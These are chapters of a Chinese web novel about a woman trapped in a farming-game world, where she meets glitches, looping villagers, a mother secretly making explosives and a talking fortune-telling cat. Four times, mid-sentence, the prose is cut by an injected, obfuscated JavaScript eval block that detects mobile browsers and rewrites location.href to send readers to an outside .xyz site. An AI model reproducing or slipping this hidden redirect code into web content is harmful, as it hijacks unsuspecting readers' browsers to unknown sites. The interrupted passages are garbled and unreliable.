“克莉丝塔!”多萝西娅奔来门廊下,凑到她面前,抬起她的手臂检查。 “我没事,多萝西娅。” 除了屁股和脸有些痛、脑袋还有些懵以外。 多萝西娅捡走孔映肩上的一串藤蔓,扶她起身后又拍了拍她身上的土块,随后便注意到她脸颊上的划痕,说:“你受伤了。” 玻璃碎片擦过孔映的脸颊,留下一道血痕。 “跟我来。” 多萝西娅带孔映回到屋里,翻找出一罐即将见底的松脂膏涂抹在孔映适才洗净的伤口上。 大约是孔映显得过分呆滞,多萝西娅放下陶罐时向她道歉:“抱歉,吓到你了。” “不……” 孔映晃晃脑袋,想要解释并非是她吓到自己,但这显然难以解释。 多萝西娅又说:“我以为这时候你已经出去了。” “唔……是这样,但我睡过头了。” 空气静默,是一种彼此间都有些过意不去的静默。 过上会儿,孔映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598534|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决意按下对那阵故障的震惊,将全副的注意力转回存在着的当下,即庭院里那疑似爆炸的一幕上。 她定睛看向多萝西娅,发现她的脸上还沾染着尘土和一些未知的白色粉末。 “多萝西娅,你在做什么?” 多萝西娅已经端起一杯麦芽酒喝起来,听罢坦言:“我在制作炸药。” “……” 如果不是事先知道多萝西娅是个木工,孔映将做出最正确的猜测——她根本就是在研究爆炸技术! “可你为什么要在院里做实验?” “如果不炸掉那些土豆,凯文接下来就没地可种了。” 多萝西娅胡说八道得认真,孔映不免一噎。 “克莉丝塔,这件事请暂时不要告诉路易。”她突然以恳请的口吻说道。 孔映眉宇间生出几许困惑,但她想了想,没有追问,答应了多萝西娅的请求。 再度出发前往农场时,孔映不但丧失了先前的悠闲和惬意,甚至还显露出几分凝重。 那团黑洞般的裂隙是什么?那些闪烁的代码是她身处游戏世界的证明吗?她究竟为什么会来到这里? 她想得出神,直到走近农场的谷仓,隐约听见谷仓前方一个老人在说话时,她的脚步越发放得缓慢,最后停驻。 而那人的声音就这样持续不断地回荡着。 “天气不错,我想来换点东西。” “天气不错,我想来换点东西。” “天气不错,我想来换点东西。” …… 孔映听上许久,呼吸声变得沉重,她攥紧手心,鼓足勇气继续朝前走,视线终于穿越麦草垛。 一个老妇人笑容满面立在谷仓的订货板前,如同坏掉的唱片机一般重复着那句话,她的手里握着柄鲜红的斧头,而路易莎,她静静地躺在麦垛下。 “路易莎!” 孔映忽然惊慌叫道,谷仓前的两人都没有反应。她不顾古怪地冲上前,蹲到路易莎身旁摇晃她,呼唤她,可路易莎依旧一动不动。 胡丽安! 如果这里足够真实,那么胡丽安也许会有让路易莎醒过来的办法! 孔映不假思索地奔向胡丽安的住处。 她跑到树篱外,农舍内外一片静穆,但那扇虚掩的房门昭示着主人在家,孔映来不及思索,径直朝那扇木门跑去…… 对于切换场景需要加载并且会陷入虚空状态这回事,孔映已经用极短的时间感到适应,可这次似乎用时太久,久到耳畔那些不完整的字句吵到她头晕脑胀。 谁来让这些骚乱声停下? 她怀着痛苦长久地祈祷着,终于听见天籁般的声音—— 依旧是路易莎的声音。 “我呢,妈妈?” “你去处理农场的订单。” 又一次,孔映对上那仿佛磁石般充满吸引力的目光,她微微屏息,下意识地问上句:“那我呢?” “你可以跟着我们任何人。” “克莉丝塔会和我一起!” 路易莎冲她眨了眨眼,她手里握着烤鸽腿,餐盘里是一块牧羊人派。 孔映对着这一幕深吸口气,随后重重点了下头,并对她道:“如果我睡过头,你一定要叫醒我。” “放心!毕竟你是要做苦力为我赔罪的!” 她才不放心嘞。 孔映垂下头,眼眶里兜着汪鳄鱼的眼泪。 5. 〇五 银蓝色月光透过老虎窗和蕾丝窗帘,铺展来床侧。 孔映像是感知到月光的凉意,思绪渐渐恢复清明,她回忆着早间发生的一切,更确切地说是回忆着“明早”发生的一切,极力平静地梳理起那些古怪情形。 多萝西娅的炸药、空间里的黑洞、一个手握斧头说着循环话语的老妇人以及昏迷不醒的路易莎…… 最后是她,推开胡丽安农舍的门但重新回到这个夜晚。 是因为那场爆炸带来了故障吗? 多萝西娅为什么会研制炸药,而且还要瞒着路易莎? 孔映的思绪又如同荆棘般混杂缠绕起来,随之而来的是一阵难以名状的、毫无秩序可言的情绪。最终,她举起双手,泄愤般搓揉一通脑袋。 她以为这是治愈系农场物语来着! 可为什么才短短一天就像是乱了套? 她停下动作,有那么几息像水中呆滞的鱼,良久,她轻叹声。 阒静夜色将原本几不可察的声息无限放大,她缓慢垂落双手,覆盖住整张面庞,继而向右侧躺,蜷缩进半床月光里。 不知想了什么,不知过去多久,那副紧绷的身躯总算松懈下来,连同呼吸也变得平稳而轻盈——她睡着了。 也许是大脑罢工的缘故,她奇异地避开了那些既定的嘈杂梦境,度过了一个意料之外的安静夜晚。 …… “克莉丝塔,是时候起床了。” 孔映双眼紧闭,但睫毛像蝶翅轻颤。 “如果你实在很疲惫——” 话只说到一半,床上的人忽然炮弹似的坐起身,甚至连眼也没睁开。 路易莎愣上一愣,即刻大笑。 孔映听见这笑声才揉揉眼睛,迷迷瞪瞪看向站在床边的女孩。 虽然已经知道路易莎有多开朗,但她为什么一早就能这么开心呢? “克莉丝塔,你真可爱。” “谢谢。”她礼貌回应。 路易莎笑得更开怀,一边将孔映从床上拎起,推到落地镜前。孔映对上镜中的自己,恍悟,她在笑她顶着头乱蓬蓬的头发还对此毫无知觉。 “……” 路易莎好像有些天然黑。 孔映费劲整理了一番头发,来到餐厅时,路易莎正从橡木桶里倒牛奶,她左右看看,问道:“多萝西娅和文森特先生呢?” “妈妈在她的工具房里,爸爸他们一早就出发去河谷了。” 孔映若有所思地咬了咬嘴唇,路易莎将番茄三明治和牛奶端来她面前。 “路易莎,多萝西娅在工具房里都做些什么呢?” “当然是做一些农场里用的工具,有时候也帮邻居们做篱桩,还会烧一些陶罐……” “我可以去看看吗?” 路易莎略显为难:“我想你应该征求她的同意,但妈妈一向不喜欢我们进她的工具房。” “唔,好吧。” 孔映默默喝起牛奶,心下犹豫着是否要阻止那场小范围的爆炸。 但多萝西娅看起来并不是头次这样做,如果以前的爆炸没有引起异常,那么“昨天”的爆炸会不会是因为她的在场才酝酿成“故障”的呢? “克莉丝塔?” 孔映被点醒,茫然抬头。 “你又出神了,”路易莎满是无奈地瞧她,又重复遍刚才的话,“我是说,如果早上我们处理完全部的订单,下午就再去拜访胡丽安一次吧。” “好。” 孔映决定装作若无其事,像第一次度过这天一样和路易莎一起前往谷仓。 出发前,路易莎打开了鸡舍的围篱,并对着工具房大喊声:“妈妈,我们出发了!” 工具房内传出多萝西娅含糊不清的回应声,路易莎遂向孔映耸耸肩,“她总是很专注。” 孔映看向满庭院散步的白羽鸡,明白过来鸡舍是多萝西娅实验前关起来的,她找到那只鸡群中最显眼的黑尾红鸡,它正在文森特先生的土豆地旁徘徊。 “……” 噢,想起来了。 Poor potato. 文森特农场里有三处谷仓,其中最大的谷仓建在麦田旁。谷仓的屋顶是橘红色的,墙壁由棕色橡木板拼成,两扇对开的木门外,一座斜塔般的麦垛高高耸立,正是昨天路易莎昏迷的地方。因此,孔映绕来麦垛前方时难免感到几分心惊肉跳,不过今日目之所及处只有几只灰雀在跳跃啄食,麦垛下方一派鲜活生机。 孔映微微松一口气,路易莎则前去查看起订单来。 修道院的厨房姊妹需要四袋小麦面粉和两袋土豆,尤格利亚小镇上的居民提莫西大叔需要一些燕麦和新鲜的芜菁,面包房的安妮需要小麦面粉、胡萝卜以及一些特殊的刺柏嫩枝,马克西姆的餐厅需要…… 孔映的任务便是对照订单内容,一一将农作物从谷仓里搬出,放进各户的送货箱中。 她先到谷仓里堆满土豆的角落挑拣起土豆,大约是久违地体验到体力劳动的乐趣,她竟然连早间的忧虑都抛至脑后。 路易莎留意到她愉悦的神情,安心眯了眯眼。 克莉丝塔还真是干劲十足呢! 两人各自愉悦地处理着订单,偶尔孔映找不到需要的东西,便扬声询问路易莎,路易莎总是准确地回答她。很快,孔映熟悉了谷仓内部的布局,她在挡板后找到囤放在此的刺柏枝,挑选了一些嫩枝装满麻袋。 谷仓外,路易莎正整理一只装满货物的松木箱,孔映将麻袋拖拽出谷仓,回头去看她,却在刹那间转变了脸色。 一位挎着编织篮、手拎斧头的老妇人沿着麦田走来,路易莎看见她,愉快问好:“早安,阿尔贝特太太,您有什么需要吗?” 阿尔贝特太太停到她面前,笑呵呵开口:“天气——” “天气不错,您想来换点东西是吗?” 孔映蓦然从路易莎身侧冒出,打断了阿尔贝特太太的话语。 “噢,亲爱的,你真是吓坏我了。”阿尔贝特太太面露惊色,嗔怪句。 “真是抱歉。” 不过昨天我也被您吓坏了。 孔映暗自腹诽着,神经着实松懈下来。 那句循环的话语已然成为不存在的过去,故障并没有发生。 “不过,这位甜心是谁呢,路易莎?” “她是克莉丝塔,暂住在农场里,”路易莎接着问,“您需要些什么呢阿尔贝特太太?” “请给我一些土豆和洋葱,”老太太说着将手里握着的斧头递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598535|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,“我想用它作为交换。” “好极了,过些日子去砍木料一定能用上。”路易莎收下斧头,将它搁置在一旁的木箱上,接着转身去仓库里取洋葱和土豆。 孔映立在原地,目光死死黏在那柄斧头上。 难怪没有人对她随身携带两块红砖感到奇怪,毕竟在这个世界里,连红漆斧头也是硬通货。 不过斧头可不可以不要涂红漆啊,很容易引起误会欸。 阿尔贝特太太带着土豆和洋葱悠悠离去,孔映望着她背影,长松口气,正要接着干活,却听路易莎低笑声,她偏头看去,路易莎正一脸欣慰地望着她。 “克莉丝塔,你会主动向阿尔贝特太太寒暄,真是太好了。” “……” 不,她那是情非得已。 “很高兴你愿意加入我们!” 孔映迎上她碧蓝的双眼,眸光微闪,接着,她别开眼,以极低的分贝说上声:“我也很高兴。” 在这里很轻松不是吗? 当然,是在故障被排除的情况下。 - 两个女孩赶在正午前整理完全部的订单,老约翰载着装好货物的马车扬长而去,孔映在麦垛前擦了擦汗。 劳动还真是辛苦啊。 “辛苦了,克莉丝塔,我想妈妈应该做好了午餐,我们回去吧。” 孔映闻言又有些伤脑筋,但在走回文森特之家时,所有顾虑都烟消云散。 庭院里,鸡群在闲庭漫步,小径上嘛…… Ashes to ashes, and dust to dust. 字面意义上的尘归尘,土归土,除了一小块地变空外,丝毫看不出曾经有一场小型爆炸在此发生。 “咦?” 路易莎却敏锐停下脚步,扭头看向脚边变空的地。 “路易,替我摘一些迷迭香来。”多萝西娅这时从厨房的窗户探出头来,像是一直等在那里。 “好的妈妈。” 孔映看向窗边,多萝西娅已经端着麦芽酒转身回屋。 午餐准备了甜菜汤、黑麦面包和迷迭香烤土豆,孔映叉起盘中一块土豆,心有戚戚送进嘴里,然后闭上眼睛。 美味! 路易莎同样在赞叹:“妈妈最近做的烤土豆比从前还要美味!” 多萝西娅正色回答:“是因为凯文种的土豆越来越好。” 嗯!也可能是烤土豆的工序发生了一些变化,比如事先用炸药炸上一次。 “克莉丝塔,你笑什么?” “咳——”孔映因心虚噎了噎,“因为烤土豆很美味。” “还真是个孩子。”路易莎故作老成口吻。 “……” “对了妈妈,午后我和多萝西娅去胡丽安那里,你有什么需要吗?” 多萝西娅略作思索,说道:“替我向她要一罐薰衣草松脂膏来。” “你又受伤了吗?” “不,只是做饭前突然想到家里那罐就要用光了。” 她们谈得专注,没有注意到孔映微微凝滞的动作。 多萝西娅为什么会提到松脂膏? 是蝴蝶效应吗?那么这场连锁反应的终点又在什么地方呢? 6. 〇六 孔映第三次来到胡丽安的农舍前,她想,这也算是某种意义上的三顾茅庐,按理说这次就该见到胡丽安了。 农舍的篱门大敞着,孔映跟进院时,一道乍现的灵光促使她低头查看起脚下的土地。 昨天,抑或说前天,当西塔和贝拉试图阻止她们拜访胡丽安时,她曾远远瞄见这里有一抹明亮的、高饱和的蓝色—— 和沾染在她那条旧衬裙上的钴蓝色油漆如出一辙的蓝。不过此时此刻,那抹蓝已经消失不在。 屋子里传出西塔和贝拉的笑声,路易莎在门外唤道:“胡丽安,你在家吗?” 很快,房门从内拉开,一位金发碧眼的女郎出现在门后。 她几乎与门框同样高,金发编织成盘髻,露出天鹅般优雅的修长脖颈,一条串有橡果和蓝雀翎的项链垂落在衬领上方,随性却不显散漫,即使身穿着一条皱得厉害的亚麻长罩裙,也丝毫不妨碍她的优雅。 “请进,路易莎,”胡丽安侧身让出足够的空间说道,而后看向孔映,“想必你就是克莉丝塔。” “是的。” “很高兴认识你。” 她语调轻柔,仿佛矢车菊在风中摇曳,孔映不禁想象自己是头受伤的牛,正在等待温柔的兽医小姐为她治疗。 “失忆症?” 胡丽安在听说路易莎的请求后,诧异不已,“路易莎,我只是个兽医,你是不是把我想得太厉害了些?” “可是胡丽安,你不能否认你的博学,也许你真的有办法呢?” 胡丽安无奈,却也拒绝不了路易莎,最终还是答应替孔映看上一看。她带孔映坐去一扇明亮的窗下,摘下她头顶的草帽,仔细捧起她的头颅检查。 “脑部没有外伤痕迹,这就很复杂了……克莉丝塔,你有没有感觉到身体有什么不适?” 孔映稍加思索,摇摇头。 除了些略显科幻的异常现象外,这具身体似乎没有任何不适。 “那么,你最近的记忆停留在什么时候?” “就在昨天,我见到路易莎之前的事一概不记得了。” 胡丽安沉默下来,一旁的路易莎仍满怀希冀地望着她,唯独当事人一副浑不在意的样子,甚至还有心情观察窗外的景致。 那是胡丽安后院的药圃,种满薰衣草和各种药草,蝴蝶飞舞其间,药田后是一座孤零零的茅草顶石墙小屋,茅檐下方悬挂着成串的干药草,看起来冷清且神秘…… “我在伊德尔镇时听说过一桩失忆症。”短暂的沉思后,胡丽安说道。 又是伊德尔镇吗? 孔映转回目光,老实说,她有些好奇伊德尔镇的存在了。 “是怎么一回事呢?”路易莎追问。 “镇上钟表匠的儿子忽然神秘失踪,直到两天后人们才发现他,不过那时候他昏迷着,等他再醒来时,他已经丧失了全部的记忆……不过虽然如此,他还是坚称他昏迷前见到了可怕的事。” “什么事?” “他也说不出个究竟,我的老师说这可能是因为他受到的刺激过大,大脑为了保护他,就让他遗忘了所有的事。” “这么说来,克莉丝塔也可能是因为受到刺激了吗?” 胡丽安不置可否,忽然又想起什么来:“对了——” “什么?” “那个少年也是在火车站被人发现的,他失踪前最后的踪迹是前往火车站更换时钟。” “嗯?”路易莎微微错愕,睁大眼睛思考了片刻,而后有些不确信地问,“难道你认为这不是巧合吗,胡丽安?” 胡丽安仍旧不置可否,只低头对孔映说道:“如果将来你感到不适,或者回想起一些片段,记得告诉我。” 孔映点点头。 路易莎却有些急不可耐,好像非要问出个究竟不可,她即刻坐到孔映对面的高背椅上,然而堪堪对上那张看起来过分乖巧的面庞,又没来由地泄了气。 她托起下巴,显得无可奈何:“克莉丝塔,你果然还是一点儿也不在意从前。” 胡丽安这时默默离开。 面对路易莎无力的控诉,孔映若有所动,于是她问她:“路易莎,如果从前那些记忆都很糟糕,忘记了不是正好吗?” 路易莎想了想,仍然坚持她的观点:“可你也会忘记生命里很重要的人,包括过去的自己。” “我不知道。” “不知道什么?” “不知道有没有这个必要……但是,我知道我会喜欢现在这样的生活,即使没有过去。” “唔……” 路易莎琢磨起她的话,眉宇间浮现一丝费解。 沉默间,西塔和贝拉从厨房回到起居厅,两人各自端来个小陶盘,小心翼翼送到胡桃木桌上,接着,贝拉牵起裙摆,优雅地向她们行礼:“两位美丽的女士,请享用胡丽安阿姨的美味苹果派。” 胡丽安这时也低头穿过稍矮的洞门,回到屋中,带来两个香草包交给孔映:“这些洋甘菊和薰衣草可以随身佩戴,它们能帮你放松大脑。” “谢谢你。” 路易莎见状,索性暂且放下与孔映相左的想法,毫不见外地吃上一口肉桂苹果派。 “真美味!”她夸赞声,转而问起另一回事,“对了胡丽安,可以告诉我我们来之前你们在笑些什么吗?” 胡丽安嘴角微扬,没有回答,而是将两个小家伙轻推去餐厅里玩耍,然后端着一壶洋甘菊茶和一份属于自己的苹果派回来。 她也坐到桌边,动作优雅地享用起下午茶,压根像是忘记桌上还有两位客人。 过上会儿,路易莎忽然不满道:“胡丽安,你真是狡猾。” “为什么这么说呢?”声音简直温柔到令人安心。 “你遇到不想回答的问题时总是装作好像什么也没发生。” “而你,我亲爱的路易莎,你总是揪住所有事不放。” “……” 路易莎锐气受挫,甚至显得有些委屈,她干脆放下刀叉,直接用手拿起苹果派吃。 孔映静坐至此,几乎感觉自己被扑面而来的鲜活细节淹没。 还真是美妙的感觉呢。 就算那种“越真实越像是幻梦一场”的矛盾感始终存在,也还是会让人心甘情愿地陷进来呢。 这样想着,脑海里倏地闪过一阵芒刺般的疼痛,与此同时对于伊德尔镇的好奇重新回到孔映头脑中。 “伊德尔镇是什么样的地方呢?” 她看向胡丽安,罕见地开启了新话题,路易莎闻言也双眼亮晶晶看将去。 胡丽安正端着茶杯细细品尝,任凭那两双眼睛有多好奇,她也仅仅是笑答道:“那里不像尤格利亚这样明亮。” 两人等了等,没有下文,路易莎便转朝孔映摇摇头,示意她不必再追问,一副既失落又经验颇丰的样子,孔映只好作罢。 在胡丽安农舍的美好下午茶时光因为一个老农夫的到来迎来尾声—— 农夫家的小牛食欲不佳,胡丽安需要前去看看患者,孔映与路易莎也各自揣着些香草和药膏归家去。 路上,路易莎向孔映解释她刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598536|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚的举动。 “胡丽安不喜欢提起在伊德尔镇的事,我以前问她时,她也总是这样含糊不清地说上几句。” “那她是尤格利亚人还是伊德尔镇人呢?” “她从伊德尔镇来。” “什么时候来的呢?” 回应她的竟是沉默和路易莎的停驻,孔映不解缘故,转头看去,却见路易莎如同雕塑般僵滞在小路上。 一瞬间,孔映的心又跳到嗓子眼儿里。 这次又是什么情况! “路易莎!”她惊慌喊上声。 好在路易莎霎那间便恢复了动作,她猛晃一下脑袋,喃喃道:“好奇怪……” “你还好吗?” “没关系,可能只是头晕了一下。” “你……”孔映稍显犹疑,“你还记得我们刚刚说到哪儿了吗?” 路易莎失笑:“你担心过度了,克莉丝塔,我们刚刚谈到胡丽安是从伊德尔镇来这里的。” “那你记得她是什么时候来的吗?” 话落,路易莎当即又表演了一次宕机。 “……” 当路易莎再度被唤醒时,孔映镇定自若地避开了这个问题,反倒是路易莎还念念不忘伊德尔镇,忍不住向孔映倾述:“英格玛在伊德尔镇时写过几封信回来,但也没有透露太多伊德尔镇的消息。” “那她现在——”孔映只问到一半,担心再度引起宕机。 路易莎却已经会意,回答道:“我们已经很久没有收到她的来信了,真希望阿祖拉在下一趟火车上。” 阿祖拉,孔映在餐桌上听多萝西娅提到过这个名字,她问道:“阿祖拉是什么人?” “他是尤格利亚的信差。自从尤格利亚与伊德尔镇有往来后,阿祖拉就在两地间送信,不过他是个不爱讲话的家伙,从来不和我说伊德尔镇的事。” 听起来好像不太妙呢。 为什么每个与伊德尔镇有关的人都不愿意谈及那里? 孔映又看一眼路易莎,尽管路易莎看起来有些惆怅,但那惆怅似乎只是对她无法得知伊德尔镇的信息而感到困扰,这种困扰甚至盖过了她对英格玛许久没来信的担忧。 不—— 孔映转念间否定了这个想法,因为她笃定路易莎并没有对英格玛失去音信感到担忧。 而这种担忧她曾在昨夜晚餐时见到过,多萝西娅在听说阿祖拉没有出现时曾隐隐皱起眉心,所以她可以肯定路易莎脸上丝毫没有对这件事的忧虑。 路易莎…… 她似乎不明白这是值得担忧的事。 或者说,她好像天然地缺乏对危险的感知,那么那天在广场上时…… “路易莎,你从什么地方知道大盗安娜的呢?”孔映试探问道。 “嗯……”路易莎顿了顿说,“克莉丝塔,其实这是个秘密。” 孔映听出她并不愿意说出这事,只是问:“好吧,那你觉得大盗安娜是很危险的存在,对吗?” “当然,唔,至少告诉我这件事的人是这样说。” 果然是听其他人这样说而已,那么她的直觉可能没有错。所以,是因为路易莎意识不到危险,她才会随随便便捡个陌生人回家吗? “对了,克莉丝塔……” 一向爽快的路易莎突然间竟忸怩起来,犹豫不定许久,才说出她的请求来,“请你不要告诉妈妈我知道安娜的事。” 孔映眨眨眼。 嗯,这对母女彼此隐瞒着一些事。 这个世界的秘密好像越来越多了。 7. 〇七 度过悠闲而平静的两天后,孔映又一次乘上来时的那架马车,出发前往尤格利亚小镇。 她们将前去火车站等待新的货物,当然,在火车到来前,她会先和路易莎在小镇上闲逛一番。 马车停在一座橙红色砖楼前的岔路上,她们由此下车,沿着鹅卵石街道步行。 街道两侧除开房屋、树木、花坛外,偶尔会出现一座搭着斜顶油布篷的有人或无人看守的小摊,各自售卖些玩具或者奇怪的装饰物。 孔映走走停停,饶有趣味地观察一切,仿佛感觉到她有着一身无形的触角,正在这个世界四下触碰。 她在一处无人的小摊上发现枚老松果,当下萌生出买下它的念头。因此,当路易莎在相邻的小摊上交换来一条手帕回来时,正好撞见孔映将两枚硬币放入陶罐里,并且从货架上取出那枚松果。 “……” 路易莎不禁露出看傻瓜的表情来:“克莉丝塔,这样的松果小松林里遍地都是。” 孔映握紧松果,好像得到了什么极特殊的东西。 “可那些松果一定不是这一颗。” 她在这件事上意外流露出些许固执,那副认真模样又令路易莎忍俊不禁:“好吧,是我太自以为是了。” 孔映收好松果,接着前行。 穿过一道居民楼间的紫藤萝石拱门后,她们来到宽阔明亮的广场上,一座对称的海蓝色建筑坐落在广场旁,象征着市政厅的太阳徽章悬在中央,台阶两侧是同样对称种植的柠檬树,缀满了金色果实。 她们刚到这里,不远处的钟楼就响起晨钟声,一个穿制服的治安官准时走来广场上,前去布告栏处钉上几张新布告。 广场上的居民们纷纷拥上前查看,孔映与路易莎也在其中。 「寻找布鲁斯!昨晚忘记关窗,早晨醒来窗台上的布鲁斯不见了踪影,大约是被野猫抓走了,请帮我找到布鲁斯。对了,布鲁斯是一团茜草红染线。 委托人:服装店(划掉)糖果店诺亚 报酬:20枚硬币或1柄红漆斧头」 「紧急!面包师摔破全部鸡蛋,急需25枚鸡蛋,否则面包店无法营业,你将吃不到安妮最拿手的橙花幸运曲奇和樱桃布丁。 委托人:面包店安妮 报酬:25枚硬币或1份风车千层酥(有助于提升劳作速度哦)」 …… 孔映快速浏览过几条这样的信息,竟然有些心动,她扭头对路易莎说道:“我们有很多鸡蛋。” 意思是她们可以完成安妮的委托。 路易莎却歪头:“可我们住在农场,难道要回去取来20枚鸡蛋吗?” 孔映这才后知后觉抬手摸摸下巴。 的确是这样,从她在这个世界滞留的一段时间来看,这里除了偶尔出点故障外,完全没有“超现实主义”世界的气质,当然也不会有随身空间这样的存在。 所以,布告栏上的这些“任务”更有可能是针对玩家角色发布,而非针对非玩家角色发布。 孔映第一次思考起这个问题来—— 如果这个游戏存在一个「玩家角色」,那么会是谁呢?而作为玩家存在的角色,是否会在某个时刻被玩家操控呢? 会是路易莎吗?还是说…… 一个初来乍到的陌生人更合适呢? 孔映的思维又发散开来,接着,路易莎在布告栏角落里找到一条委托,伸手指向那张泛黄的布告。 “克莉丝塔,你要是想完成一条委托,可以试试这个!” 她思绪中断,转睛看去。 「随机听取一则我的抱怨 :( 委托人:不想重名的王涛 报酬:1枚硬币」 孔映瞳孔微缩。 出现了!朴素的家乡的名字! 出于一种他乡遇故知的惊讶,孔映摘下了这则布告,并跟随指引进入市政大厅,在某个办理窗口领取到一张不想重名的王涛的抱怨字条。 「Their world is the real world. The things they lift are heavy. * 多美的话啊!多么举重若轻的话啊!但结果就是我们要疯狂渲染这一切,永远有根跳动的竖线在等我们啊!&@??叽哩>*???咕噜_,#咕噜°?F叽哩*%=°C……愿你们幸福(T_T)」 路易莎探头读完孔映手中的字条,率先评价道:“真是个奇怪的人,不过只是读完它你就可以领到一枚硬币啦!” 孔映本想将字条保存起来,但这似乎是件要循环使用的道具,她兑换来一枚硬币后市政厅的工作人员就回收了字条。 路易莎对此好像很满意,然后兴致勃勃说道:“好了克莉丝塔,现在我想带你去认识下奇奇了。” 奇奇? “奇奇是尤格利亚小镇上最有趣的家伙!我每次来镇上都会去……” 路易莎显然在自我克制着,阻止自己不要向孔映透露更多关于奇奇的信息,而是极力将它作为惊喜保留到最后。 她因此越走越快,孔映紧随其后,终于来到一处奇特的树屋前。 粗壮的老椴树撑起顶庞大的伞冠,繁茂枝叶拦截下大部分的阳光,只在树下投落点点光斑。孔映敏锐感到到场景光线的变化,认为这样的光影下适合发生些神秘的事。 树干上有扇小小的木门,大约开在需要人微微仰视的高度上,木门外随意泼洒着莳萝黄和鸢尾色的油漆,并挂有一盏铜铃。 路易莎牵动一根悬挂在树下的麻绳,铜铃清脆震响,接着,树屋门朝外推开。 一只猫端坐来门框下。它通身黑毛,有一对琥珀般的眼珠,与寻常黑猫似乎没有太大分别,但它的脖子上戴着条项链,坠着几根染过色的羽毛和几枚贝壳,使它看起来像是某个神秘部落的来客。 路易莎见到它,两眼几乎放光。 “你好奇奇,我想进行一次占卜。” 奇奇并未作声,只是平静地伸出前足,任由路易莎虔诚地握住那只肉垫。 “钟声敲到十二下,日光照进空谷仓。” 短暂的静穆后,奇奇如是说道。 “路、路易莎?” 孔映偏过头去看路易莎,后者终于按捺不住兴奋对她道:“克莉丝塔!奇奇是只会占卜的猫!” “……” 是啊是啊,还是只会说人话的猫。 孔映在她断言完这个世界完全没有“超现实主义”世界的气质后,又以最快的速度遇上了离奇的超现实元素。 好在她消化力良好,很快接受了这只会说话、甚至还会占卜的猫。 这大概是游戏的彩蛋设置了。 她熟练地作出猜测,接着观察起奇奇。 奇奇在说完那句话后已经收回前足,安静盘坐回门框下,好像她们并不存在一般。 “可是路易莎,奇奇刚刚的话是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598537|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么意思呢?” “嗯?” “就是那句……钟声敲到十二下,日光照进空谷仓。” “噢!”路易莎理所当然道,“我也不明白,奇奇的占卜总是这样难懂,我都习惯了。” “……” “那你怎么知道这是占卜呢?” “这很简单,”路易莎又仰面问,“奇奇,你可以告诉我这是什么意思吗?” “如果需要解释占卜语,请给我99枚金币,或者9999颗榛子。”奇奇喵喵道。 路易莎又扭头看向孔映,意思是这样问问就知道了。 “……” 奇奇其实是只松鼠吧。 孔映再度语塞,突然间又在她的知识系统中检索到一只叫Chip的迪士尼花栗鼠,当然这无关紧要。 “克莉丝塔,你也来试试吧。” 路易莎实在兴致勃勃,孔映遂像她那样伸出手,对奇奇提出要占卜的请求,奇奇也再次伸出爪来—— #!~???????????????~# ERROR:0x7E7E7E | ORACLE_CORRUPT | TRACE: [????] ??? REBOOT? (Y/?) …… 一串串字符在孔映脑海中明灭重组,闪烁出残影,她在电光石火间收回与猫爪相触的手。 奇奇也蓦然惊站起身,弓起背,煤球般的毛发炸成刺猬状,喉咙深处发出连串的呼噜声。 如此反常的动静令路易莎也倒吸口凉气,怔怔问道:“怎么回事,克莉丝塔?” 孔映无言,缓缓摇了摇头,仍在消化着。 奇奇则猛甩几下脑袋,更快地平息下来,只不过它仍站着,从高处俯视树下的人。 静上许久,它重新开口:“昨天的苹果藏在永远的明天。” 咦?竟然没有宕机吗? 至于说昨天的苹果……会是指她的记忆吗? 不过她为什么真的要相信一只猫啊! 孔映轻吁口气,转头看向路易莎,却发现她竟还是那副无措神情——路易莎竟然才是这场惊吓事件中最晚回神的一个。 “路易莎?”孔映轻声唤她,安抚般拍拍她后背,“我没事的,刚刚只是突然感觉到一股神秘的力量。” 听她这样说,路易莎这才恢复几分神采,解释说:“奇奇它的确是只很神奇的猫……”顿了顿又说,“但它每天只能为我们提供一次无偿占卜,如果还想继续占卜,每次都需要给它一枚金币或者十枚硬币。” “你占卜过很多次吗?” 